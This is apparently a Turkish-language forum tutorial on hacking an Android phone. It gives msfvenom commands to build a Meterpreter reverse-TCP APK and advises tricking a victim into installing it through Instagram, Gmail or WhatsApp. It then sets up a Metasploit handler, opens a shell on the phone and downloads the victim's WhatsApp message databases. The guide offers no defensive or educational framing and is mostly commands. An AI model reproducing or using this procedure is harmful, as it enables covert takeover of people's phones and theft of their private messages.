Kali linuxu acin ve baslayalim
msfvenom -p android/meterpreter/reverse_tcp LHOST= ip miz LPORT=portumuz R > /cikacak yer
tam copy paste etmek isdersenizse asagidaki kodu terminala yazin
Kod:
msfvenom -p android/meterpreter/reverse_tcp LHOST=** LPORT=** R> /root/Desktop/rat.apk
*** bu isareler var ya onun yerine terminala ifconfig yazip ip nizi ve lport beraberdirden sonar ise acik portu yazin R > /root/Desktop/ve apknin ismi.apk yazin yani bitmisdir
burasi 1 az kolaydir :16: en basit olan yer ise port acmakdir yani simdi yazsamki tp linkde boyle yapin bir arkadasda tp link olduqunnan yapacak amma o biri arkadas bende tp link diyil yazacak o uzden bu konuya dokunmayacaqim kendiniz port acin if configdeki ip ni msfvenoma yazip googlede my ip yazarak ip nizi modeme port acma kismina yazin haa birde arkadaslar msfenomda lport=4444 yani modemin ara yuzne girip onceden 4444 portun acmak lazim msfvenoma kadar geldik bir apk dosyasi yarattik sosial muhendislikle gmailden nerdense mesela instagramdan ve baska yerlerden gonderdik vatsapdanda gondere bilerik tamam buraya kadar iyi geldik devam edelim bos bir kali ekraninda terminal acalim ve msfconsole yazalim ha arkadaslar hani ben test amaciyla cp -r htm le attimki kolay olsun deye siz hatm le atmayin nerdense gonderirisiniz karsi tarafa terminala msfconsole yazdik
Kod:
msfconsole
****sploit konusulunu acdik dimi arkadaslar simdi is bize gerekli olan android exploitinin girek yani yolu gosterek
Kod:
use exploit/multi/handler
ve devam ediyoruz simdi ise
Kod:
set PAYLOAD android/meterpreter/reverse_tcp
yazdik hani msfvenomda android meterpreter reverse tcp ters baglanti ve payloadi gosterdik ya simdise ****sploite yazalim devam ediyorus
Kod:
set LHOST 192.168.**
** yerine ifconfige bas vurun
Kod:
set LPORT 4444
gordunuzmu 4444 acdikmiz portu yazdik ve en son olarak ise
Kod:
exploit -j
diyerek payloadimizi dinlemeye alalim
11
ve simdi bizim bir sozmuz vardir meselenin kuliminasiya noktasidir hedef proqrami bizim yaratiqimiz payloadi acip kurup acarsa baglanti gelecek varsayalimki geldi
tamam balanti gelipse shell yazak
Kod:
shell
didikden sonra create yazlacak tam anlamadin sozun menasini :18: cd / diyerek yani kalidende bildiyiniz gibi / kok klasorlerne yol acmak icin / kullanilir o uzden cd / yazalim
Kod:
cd /
onuda yazdik ardinca ise arkadaslar merak eiyorsunuzsa neredesiniz ls le baka bilirsiniz o zaman ls diyelim
Kod:
ls
bize gereken yere gitmek icin vatsapin lokasionunun bulunduqu yer sdcard dir girelim
Kod:
cd sdcard
eyer hayla yazdiklarmi okuyorsunuzsa demekki buraya kadar gelmissiniz
ls le kontrol edelimki vatsapi bulalim deye
Kod:
ls
ls yazdiniz dimi ? gordunuzmu burda Whatsapp var eee o zaman klasore girmek lazim dimi ? girelim cd Whatsapp
Kod:
cd WhatsApp
sukurler olsun vatsapa girdik ve goznuze satasacakdir database klasoru eyer buraya kadar gelmissek o zaman databasese girelim
Kod:
cd databases
soyledikden sonra ise iceride crypt12 gibi yazlan qovluq goreceksiniz onlari indirmek leazim indirmek islemini baslamak icin ise olduqjmuz yer var ya cd databases 1 tane komut verek ki arkadaslar yolu gorelim pwd yazdik
Kod:
pwd
yol sanirim boyle olmali /sdcard/whatsapp/databases/ simdi ise ctrl c yapalim ki biraz onceye gelelim geldikden sonra ise download /sdcard/WhatsApp/databases yazalim ve inecekdir kalimize ve nereye inecek soruyorsunuzsa var www html klasorne inmeli ikinci yontemi kontrol etmedin siz kontrol edin download /sdcard/WhatsApp/databases /root/Desktop/ yazarak yol berileye bilirsiniz yok eyer yol belirlemeseniz var www html gidecekdir
Kod:
download /sdcard/Whatsapp/databases/
